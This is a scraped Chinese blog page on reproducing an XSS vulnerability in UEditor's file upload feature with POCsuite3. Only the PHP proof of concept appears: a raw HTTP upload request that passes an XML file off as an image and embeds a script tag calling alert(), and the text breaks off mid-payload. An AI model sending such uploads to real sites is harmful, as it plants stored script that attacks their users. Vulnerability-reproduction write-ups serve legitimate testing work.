UEditor上传导致 XSS漏洞自动化实现POC_基于POCsuite3

最新推荐文章于 2025-02-22 17:06:51 发布

afei00123

最新推荐文章于 2025-02-22 17:06:51 发布

阅读量823

点赞数

分类专栏： # 漏洞复现网络安全&云安全文章标签： xss 自动化前端

本文链接：https://blog.youkuaiyun.com/qq_41490561/article/details/125826586

版权

网络安全&云安全同时被 2 个专栏收录

167 篇文章 ¥99.90 ¥299.90

订阅专栏

超级会员免费看

漏洞复现

98 篇文章 ¥99.90 ¥299.90

订阅专栏

超级会员免费看

本文详细介绍了如何利用POCsuite3自动化实现UEditor的XSS漏洞攻击，包括PHP和JSP版本的POC，重点讲解了POCsuite3中attack和verify模式的区别及应用。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

1.PHP版本POC

2.JSP版本POCsuite POC

3.POCsuite3 POC

1.PHP版本POC

POST /ueditor/php/controller.php?action=uploadfile HTTP/1.1
Host: xxx.com
Cookie: xxxx(有的在前台，有的在后台)
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryL5aisVg49ZFuYNhc
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Content-Length: 324

------WebKitFormBoundaryL5aisVg49ZFuYNhc
Content-Disposition: form-data; name="upfile"; filename="xss.xml"
Content-Type: image/png

<html><head></head><body><something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(`afei_come`);</something

了解本专栏